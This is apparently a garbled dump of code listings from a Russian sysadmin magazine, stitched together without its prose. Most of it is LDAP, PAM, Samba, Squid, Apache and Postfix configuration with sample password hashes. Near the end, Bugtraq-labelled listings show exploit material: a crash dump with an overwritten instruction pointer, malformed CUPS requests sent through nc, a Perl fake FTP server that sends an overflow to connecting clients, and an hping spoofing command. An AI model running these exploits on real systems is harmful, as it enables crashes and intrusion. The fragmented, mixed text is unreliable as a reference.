test, ru dn: uid=null,ou=Users,dc=test,dc=ru uid: null cn: Neo objectClass: account objectClass: posixAccount objectClass: top objectClass: uidObject loginShell: /bin/zsh uidNumber: 1000 gidNumber: 1000 homeDirectory: /home/null gecos: Neo # search result search: 2 result: 0 Success # numResponses: 1 # numEntries: 1 dn: cn=proxy,dc=test,dc=ru cn: prox sn: proxy objectclass: top objectclass: person userPassword: {MD5}Xr4ilOzQ4PCOq3aQ0qbuaQ== access to attr=userPassword by self write by anonymous auth by dn="uid=root,dc=test,dc=ru" write by dn="cn=proxy,dc=test,dc=ru" read by * none # Сервер LDAP – IP-адрес сервера или # его имя, находящееся в /etc/hosts, # или в DNS на удалённом узле host 127.0.0.1 # Основной суффикс должен совпадать # с суффиксом в slapd.conf base dc=test,dc=ru # Это типа root, точнее, наш горячо # любимый proxy, сделано в целях # безопасности и не позволяет самому # пользователю изменить пароль. rootbinddn cn=proxy,dc=test,dc=ru scope one # Это фильтр для поиска # пользовательских записей pam_filter objectclass=posixaccount # Атрибут, определяющий имя # пользователя и его группы # для pam-модуля pam_login_attribute uid pam_member_attribute gid pam_template_login_attribute uid # Тип пароля - шифрование UNIX crypt, # кстати, шифрование LDAP и шифро- # вание UNIX – несовместимы (crypt # означает именно шифрование unix)! pam_password crypt # Базовые dn для поиска различных # объектов, one - это область поиска. # Данные параметры используются nss. nss_base_passwd ou=People,dc=test,dc=ru?one nss_base_shadow ou=People,dc=test,dc=ru?one nss_base_group ou=Group,dc=test,dc=ru?one nss_base_hosts ou=Hosts,dc=test,dc=ru?one auth sufficient /lib/security/pam_ldap.so account sufficient /lib/security/pam_ldap.so password sufficient /lib/security/pam_ldap.so #(эта строчка нужна не везде, надо # смотреть, в каких файлах она уже # есть) #%PAM-1.0 auth required /lib/security/pam_env.so auth sufficient /lib/security/pam_unix.so likeauth nullok auth sufficient /lib/security/pam_ldap.so use_first_pass auth required /lib/security/pam_deny.so account required /lib/security/pam_unix.so account [default=bad success=ok user_unknown=ignore \ service_err=ignore system_err=ignore] /lib/security/pam_ldap.so password required /lib/security/pam_cracklib.so retry=3 password sufficient /lib/security/pam_unix.so nullok use_authtok \ md5 shadow password sufficient /lib/security/pam_ldap.so use_authtok password required /lib/security/pam_deny.so session required /lib/security/pam_limits.so session required /lib/security/pam_unix.so session optional /lib/security/pam_ldap.so host: name_of_host1 host: name_of_host2 ... host: name_of_hostn ldapmodify -H ldap://localhost -D "cn=root,dc=test,dc=ru" -x -W -f host-auth.ldif dn: uid=user_name, ou=People, dc=test, dc=ru changetype: modify add: host host: name_of_host1 host: name_of_host2 host: name_of_hostn pam_check_host_attr yes $ openssl genrsa -out ldap.key 1024 $ openssl req -new -config .cfg -key ldap.key -out ldap.csr $ openssl genrsa -des3 -out ca.key 2048 $ openssl req -new -x509 -days 365 -key ca.key -out ca.cert $ openssl x509 -req -in ldap.csr -out ldap.cert -CA ca.cert -CAkey ca.key -CAcreateserial \ -days 365 -extfile .cfg [ v3_req ] subjectAltName = email:copy basicConstraints = CA:false nsComment = "LDAP server certifica-te" nsCertType = server #chmod 0400 /etc/ssl/ldap/* и меняем владельца на ldap #chown ldap:ldap /etc/ssl/ldap/* # Сертификат сервера TLSCertificateFile /etc/ssl/ldap/ldap.cert # Ключ сервера TLSCertificateKeyFile /etc/ssl/ldap/ldap.key # Доверенный сертификат TLSCACertificateFile /etc/ssl/ldap/ca.cert #stunnel -r ldap -d 636 -p /etc/ssl/stunnel/stunnel.pem $ openssl req -new -x509 -days 365 -nodes -config stunnel.cnf \ -out stunnel.pem -keyout stunnel.pem $ openssl gendh 512 >> stunnel.pem # Аутентификация через TLS ssl start_tls # По умолчанию клиент пытается # использовать обычное соединение, # закомментировав следующую строчку, # мы ставим жирный крест на его # безобразиях #ssl off migrate_all_nisplus_on[off]line.sh migrate_all_nis_on[off]line.sh # Legal entries are: # # nisplus or nis+ # Использовать 3-ю версию NIS(NIS+) # nis or yp # Использовать 2-ю версию NIS(YP) # dns # Использовать DNS # files # Использовать локальные файлы # ldap # Использовать LDAP-базу # [NOTFOUND=return] # Если не найдена информация, # остановить поиск # passwd: files nisplus nis shadow: files nisplus nis group: files nisplus nis hosts: files nisplus nis dns networks: files protocols: files services: files netgroup: nisplus # Ищем вначале в локальных файлах, # а потом в LDAP passwd: files ldap shadow: files ldap group: files ldap hosts: files dns ldap ldap filter = "(&(uid=%u)(objectclass = sambaAccount))": [global] # Юзеры должны залогиниться на # сервер security = user # Естественно, шифруем пароли encrypt passwords = yes netbios name = Linux workgroup = NET # Параметры LDAP # Определяем админовский dn. # Пароль к нему должен добавляться # непосредственно smbpasswd -w. # После смены dn админа пароль # тоже надо сменить! ldap admin dn = "cn=ntadmin, ou=people,dc=test,dc=ru" # Определяем сервер LDAP ldap server = ldap.test.ru # Заходим на LDAP-сервер через TLS ldap ssl = start tls # Определяем порт(хотя в данном # случае это необязательно) ldap port = 636 # Определяем суффикс базы данных # ldap ldap suffix = "ou=people,dc=test, dc=ru" access to attrs=lmPassword,ntPassword by dn="cn=ntadmin, ou=people, dc=test, dc=ru" write by * none # smbpasswd -a # smbpasswd -m -a $ # ldapsearch -ZZ -H localhost -b "o=smb, dc=test, dc=ru" "uid=pc1$" -- dn: uid=icb$, o=smb, dc=test, dc=ru objectClass: sambaAccount uid: pc1$ pwdLastSet: 0 logonTime: 0 logoffTime: 2147483647 kickoffTime: 2147483647 pwdCanChange: 0 pwdMustChange: 2147483647 displayName: MustdiePC cn: PC1 rid: 2054 primaryGroupID: 1201 lmPassword: 56D989A3C45BBAD3462E8109C329E116 ntPassword: 56D989A3C45BBAD3462E8109C129E116 acctFlags: [W ] -- dn: uid=001, o=smb, dc=test, dc=ru changetype: modify replace: profilePath profilePath: \\%N\profiles\user1 - replace: scripthPath scripthPath: 001.bat - replace: homeDrive homeDrive: Z: - replace: pwdCanChange pwdCanChange: 0 - replace: pwdMustChange pwdMustChange: 0 - replace: primaryGroupID primaryGroupID: 513 - $ ldapmodify -H localhost -D "" -W -ZZ -l modifi-cation.ldif authenticate_program /usr/squid/libexec/squid/squid_ldap_auth -b dc=test,dc=ru localhost # Заставляем всех аутентифициро- # ваться для доступа к прокси acl password proxy_auth REQUIRED # Возможен доступ http всем, кто # прошёл проверку http_access allow password # Остальных шлем погулять http_access deny all httpd.conf # Загружаем модуль аутентификации. # Обычно находится в extramodules LoadModule auth_ldap_module extramodules/auth_ldap.so AddModule auth_ldap.c # Определения аутентификации через # ldap для конкретного каталога # Это основной контекст для поиска # соответствия пользователя и пароля # в базе LDAP, если данная опция не # указана, но используется анонимный # доступ (что обычно запрещается в # целях безопасности). AuthLDAPBindDN cn=proxy,dc=test,dc=ru # Пароль для основного контекста AuthLDAPBindPassword secret # Включение механизма TLS для доступа # к серверу ldap (по умолчанию off) AuthLDAPStartTLS on # Основной параметр, который # определяет сервер ldap, dn поиска, # атрибуты и фильтр, по которому # выполняется аутентификация: # ldaps://host:port/basedn?attribute? # scope?filter, где basedn - базовый # dn для поиска (ищется только в дан- # ной ветви дерева и её потомках) # attribute – список атрибутов, # разделяемых запятой, по которым # производится поиск (по умолчанию # используется атрибут uid) # scope - флаг, определяющий тип # возвращаемых значений one - ищется # первое выражение, sub - ищутся все # выражения, соответствующие # фильтру (принято по умолчанию). # filter - строка, определяющая # фильтр поиска элементов ldap, # заключается в скобки, по умолчанию # равна (objectclass=*). Фильтр может # содержать логические выражения | # и & которые должны стоять не между # двумя скобками, а ПЕРЕД ними. # Приведу несколько примеров фильт- # ров: (|(cn=admin)(uid=root)) – # или cn admin или UID root # (cn=admin) - только cn = admin # В данном примере допустимым являют- # ся только объекты, принадлежащие basedn # O=myorg, OU=sysopka AuthLDAPUrl ldaps://test.ru/O=myorg, OU=sysopka # Требуем только пользователей, # прошедших проверку на ldap-сервере require valid-user main.cf virtual_maps = ldap:ldapvirtual # Сервер ldap и порт ldapvirtual_server_host = test.ru ldapvirtual_server_port = 389 # Основной dn для поиска по базе ldapvirtual_search_base = ou=mail, o=YourOrg, c=nl # Домен для поиска ldapvirtual_domain = test.ru # Атрибут, который должен читать # postfix при работе с ldap (по # e-mail адресу определяется путь). ldapvirtual_result_attribute = maildrop # Считываем одну запись из выборки ldapvirtual_scope = one # Основной контекст и пароль ldapvirtual_bind_dn = cn=proxy, dc=test, dc=ru ldapvirtual_bind_pw = secret # Это основной сервер! # Добавим несколько реплик. Каждая # директива соответствует одному # вторичному ldap-серверу. Указываем # адрес вторичного сервера(host), # dn для репликатора, метод # аутентификации и пароль репликации # (пароль для данного dn). В качестве # репликатора можно использовать ру- # та. Честно говоря, для реплик я бы # создал туннель через ssh или stun- # nel и присоединялся бы не к удалён- # ному хосту к порту 389, а к локаль- # ному на назначенный порт (для раз- # ных рабов можно сделать несколько # туннелей) replica host=slave1.test.ru:389 binddn="cn=replicator, dc=test, dc=ru" bindmethod=simple credentials=replicator_password # Следующий раб replica host=slave2.test.ru:389 binddn="cn=replicator, dc=test, dc=ru" bindmethod=simple credentials=replicator_password # Записываем данные реплик в log- # файл, это делать необязательно # (даже нежелательно, т.к. понижает # производительность). Эта опция еди- # на для всех вторичных серверов replogfile /var/log/ldap/replica.log # Это вторичный сервер! # Нельзя использовать директивы # replica replogfile. Необходимо # создать некий updatedn, совпадающий # с binddn основного сервера, # по которому главный будет # модифицировать данные. updatedn="cn=replicator,dc=test,dc=ru" # Включаем адрес основного сервера # ldap, куда будет перенаправляться # клиент, пытающийся модифицировать # данные updateref master.test.ru:389 # Надо дать необходимые привилегии # репликатору, т.к. ему необходим # доступ на запись данных access to * by dn="cn=root, dc=test, dc=ru" write by dn="cn=replicator, dc=test, dc=ru" write by self write slapindex -f /etc/ldap/slapd.conf -b "dc=test, dc=ru" # slurpd stunnel -c -d 9636 -r slave1.test.ru:636 stunnel -c -d 10636 -r slave2.test.ru:636 # Включаем схемы по умолчанию # командой include include /usr/share/openldap/schema/core.schema include /usr/share/openldap/schema/cosine.schema include /usr/share/openldap/schema/inetorgperson.schema # Включаем схему самбы include /usr/share/openldap/schema/samba.schema # Включаем свою схему include /usr/share/openldap/schema/my_cool.schema 1.1 OID данной организации(выбира- ется любой) 1.1.2 Сами идентификаторы LDAP 1.1.2.1 Атрибуты классов 1.1.2.1.1 Конкретный атрибут(меняем послед- нюю цифру для каждого атрибута) 1.1.2.2 Сами классы 1.1.2.2.1 Конкретный класс attributetype ( 1.2.840.113556.1.4.8 NAME 'userAccountControl' SYNTAX 1.3.6.1.4.1.1466.115.121.1.27 SINGLE-VALUE ) attributetype (1.2.840.113556.1.4.166 NAME 'groupMembershipSAM' SYNTAX 1.3.6.1.4.1.1466.115.121.1.40 SINGLE-VALUE ) attributetype (1.2.840.113556.1.4.213 NAME 'defaultClassStore' SYNTAX 1.3.6.1.4.1.1466.115.121.1.12) логический 1.3.6.1.4.1.1466.115.121.1.7 имя LDAP(DN) 1.3.6.1.4.1.1466.115.121.1.12 строка формата UTF-8 1.3.6.1.4.1.1466.115.121.1.15 строка ASCII 1.3.6.1.4.1.1466.115.121.1.26 целое 1.3.6.1.4.1.1466.115.121.1.27 DN и идентификатор пользователя(UID) 1.3.6.1.4.1.1466.115.121.1.34 строка из чисел 1.3.6.1.4.1.1466.115.121.1.36 OID 1.3.6.1.4.1.1466.115.121.1.38 attributetype ( 1.1.2.1.2 NAME 'pic' DESC 'my jpeg picture' SYNTAX 1.3.6.1.4.1.1466.115.121.1.26 SINGLE-VALUE ) attributetype ( 1.1.2.1.3 NAME 'URLpic' DESC 'URL to picture' SUP pic ) objectclass (1.3.6.1.4.1.7006.1.3.2.1 NAME 'cronEntry' SUP top STRUCTURAL MUST ( cn $ cronCommand $ uid ) MAY ( cronHost $ cronMinute $ cronHour $ cronDay $ cronMonth $ cronDayOfWeek $ owner $ description ) ) Bugtraq - стр. 85 [названи_песни] [величина_в_байтах] http://www.example.com/cgi-bin/printenv/test Bugtraq - стр. 89 ftpservx.dll who does not support dir+(buffer=300 byte) Access violation - code c0000005 (first chance) eax=0012bcbc ebx=0012c574 ecx=42424242 edx=7846f5b5 esi=0012bce4 edi=00147ffd eip=42424242 esp=0012bc24 ebp=0012bc44 iopl=0 nv up ei pl zr na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 42424242 ?? ??? $ nc -v localhost 631 localhost [127.0.0.1] 631 (?) open POST /printers HTTP/1.1 Host: localhost Authorization: Basic AAA Content-Length: -1 $ nc -v localhost 631 localhost [127.0.0.1] 631 (?) open POST /printers HTTP/1.1 Host: localhost Authorization: Basic AAA Transfer-Encoding: chunked - - - - -FFFFFFFE Faq Python - стр. 93 S =~ s/(text)/f($1)/ge; import re S = re.sub(«(text)», lambda m: f(m.group(1)), S) import re def subf(m): return f(m.group(1)) S = re.sub(«(text)», subf, S) Bugtraq - стр. 94 #!/usr/bin/perl use IO::Socket; $port = "21"; $data = "a"; $num = "2049"; $buf .= $data x $num; $server = IO::Socket::INET->new(LocalPort => $port, Type => SOCK_STREAM, Reuse => 1, Listen => 2) or die "Couldn't create ftp-server: $_\n"; while ($client = $server->accept()) { print "Client connected.\n"; print "Attacking..."; print $client "$buf"; print "OK\n"; close($client); } #EOF http://www.macromedia.com//shockwave/download/triggerpages_mmcom/flash.swf?»> [yiming@security.zz.ha.cn]#hping -s ip.of.spoofedandtrusted.box -A ip.of.target.box -p 22 -c 1 -b you will immediately see a a long wait ttl of 120 hours, like this security.zz.ha.cn,1235 server,22 4/0 tcp 1 40 119:59:48